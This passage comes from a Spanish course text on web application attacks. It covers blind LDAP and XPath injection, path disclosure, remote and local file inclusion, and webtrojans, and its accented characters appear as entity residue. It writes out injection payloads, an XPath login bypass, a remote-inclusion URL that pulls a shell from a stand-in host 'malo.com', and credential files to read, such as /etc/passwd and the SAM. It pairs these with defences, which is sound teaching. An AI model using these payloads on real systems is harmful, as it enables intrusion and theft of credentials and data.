impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
